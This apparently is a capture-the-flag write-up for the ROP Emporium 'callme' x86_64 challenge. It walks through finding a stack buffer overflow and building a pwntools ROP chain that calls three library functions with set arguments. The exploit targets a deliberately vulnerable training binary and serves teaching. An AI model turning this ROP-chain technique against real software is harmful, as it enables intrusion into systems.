ROP Emporium - callme (x86_64)
Introduction.
callme is the third challenge of ROP Emporium! At this challenge we will apply the same methodology as we did with split to call three different function with the same arguments. You can find the challenge here
Challenge Description.
How do you make consecutive calls to a function from your ROP chain that won’t crash afterwards? If you keep using the call instructions already present in the binary your chains will eventually fail, especially when exploiting 32 bit binaries. Consider why this might be the case.
You must call the
callme_one()
,callme_two()
andcallme_three()
functions in that order, each with the arguments0xdeadbeef
,0xcafebabe
,0xd00df00d
e.g.callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
to print the flag. For the x86_64 binary double up those values, e.g.callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
You can also ignore the .dat files and encrypted flag in this challenge, they’re there to ensure the functions must be called in the correct order.
Initial Binary Analysis.
Let’s start with the file
command.
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
as we can see it is a 64 bit ELF executable not stripped which means that we can gather information from debug symbols.
We can also use checksec
to check for any protection mechanisms
1[*] 'callme'
2 Arch: amd64-64-little
3 RELRO: Partial RELRO
4 Stack: No canary found
5 NX: NX enabled
6 PIE: No PIE (0x400000)
7 RUNPATH: b'.
The binary has NX (Non Executable stack) enabled so we are not able to preform a ret2shellcode
attack.
Let’s execute the binary to get a feel of its control flow.
The control flow is very similar to split
, so let’s attach it on GDB to inspect further.
gdb -q callme
inf func
to list all the functions.
There are six interesting functions, pwnme
which is the vulnerable function (as its name suggests), usefulFunction
, usefulGadgets
. There are also 3 functions loaded on the PLT callme_one()
, callme_two()
and callme_three()
which we have to call with the appropriate arguments in order to solve the challenge.
Finding the vulnerability.
Let’s use gdb to disassemble the pwnme function.
disas pwnme
Taking a peek into the disassembly of the pwnme function we can see that it initializes a buffer of 0x20
bytes using the memset()
function, then it uses the read()
function to write 0x200
bytes from the standard input into thath buffer which is vulnerable to Buffer Overflow.
Finding the offset.
So let’s find the offset of bytes until the %rip
register (taking as granted that we can achieve %rip
overwrite). First, we have to generate a De Bruijn sequence using patterncreate
and then to set a breakpoint where pwnme()
returns.
patterncreate -l 48
br *0x04008f1
Then type run
and input the generated payload.
In order to calculate the offset we need to extract the value of the %rsp
register.
x/gx $rsp
We can use that value in the patternoffset
binary to calculate the offset.
patterncreate -l 48 -q <rsp_value>
Result:
[*] Exact match at offset 40
Exploit Strategy.
To solve the challenge (as we know from the description) we have to call the callme_one()
, callme_two()
and callme_three()
functions with 0xdeadbeefdeadbeef
, 0xcafebabecafebabe
, 0xd00df00dd00df00d
as arguments.
From the x64 Calling Convention we know that the 1st, 2nd and 3rd arguments are passed into the %rdi
, %rsi
, %rdx
registers respectively.
If you are interested in the x64 Calling Convention, check out the x64-Cheatsheet.pdf
4.3 Register Usage: Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack.
In order to pop
the appropriate values into these registers we have to locate & utilize a pop rdi, pop rsi, pop rdx, ret;
Gadget.
Finding the Gadget.
As we remember from the Initial Binary Analysis
section there is a usefulGadgets()
function which may contain the gadget we want.
disass usefulGadgets
Our educated guess was right! In the UsefulGadgets()
function there is a pop rdi, pop rsi, pop rdx, ret;
As an alternative we can use a tool called ropper to find the gadget.
ropper -f callme --search "pop rdi; pop rsi; pop rdx; ret"
Result:
1[INFO] Searching for gadgets: pop rdi; pop rsi; pop rdx; ret
2
3[INFO] File: callme
4
50x000000000040093c: pop rdi; pop rsi; pop rdx; ret;
Building the Exploit.
(As always we will use pwntools module on python3.)
We will start with a template:
1from pwn import *
2
3elf = context.binary = ELF("callme")
4rop = ROP(elf)
5
6p = process(elf.path)
7offset = 40
8
9p.recvuntil('> ')
10
11payload = b'A' * offset
12
13p.sendline(payload)
14p.interactive()
Let’s implement a function that pops the appropriate arguments into the %rdi
, %rsi
, %rdx
registers.
1from pwn import *
2
3elf = context.binary = ELF("callme")
4rop = ROP(elf)
5
6p = process(elf.path)
7offset = 40
8# Gadgets
9
10pop_gadget = p64(0x040093c) # pop rdi; pop rsi; pop rdx; ret;
11
12# Arguments
13
14argument1 = p64(0xdeadbeefdeadbeef)
15argument2 = p64(0xcafebabecafebabe)
16argument3= p64(0xd00df00dd00df00d)
17
18
19p.recvuntil('> ')
20
21
22def setarguments():
23 payload = pop_gadget
24 payload += argument1
25 payload += argument2
26 payload += argument3
27 return payload
28
29
30payload = b'A' * offset
31
32p.sendline(payload)
33p.interactive()
Call the functions with the appropriate arguments. Create a list with the function names and then write a for loop to iterate through it.
1from pwn import *
2
3elf = context.binary = ELF("callme")
4rop = ROP(elf)
5
6p = process(elf.path)
7offset = 40
8# Gadgets
9
10pop_gadget = p64(0x040093c) # pop rdi; pop rsi; pop rdx; ret;
11
12# Arguments
13
14argument1 = p64(0xdeadbeefdeadbeef)
15argument2 = p64(0xcafebabecafebabe)
16argument3= p64(0xd00df00dd00df00d)
17
18functions2call = ['callme_one', 'callme_two', 'callme_three']
19
20p.recvuntil('> ')
21
22
23def setarguments():
24 payload = pop_gadget
25 payload += argument1
26 payload += argument2
27 payload += argument3
28 return payload
29
30payload = b'A' * offset
31
32for name in functions2call:
33
34 payload += setarguments()
35 payload += p64(elf.sym[name])
36
37
38p.sendline(payload)
39p.interactive()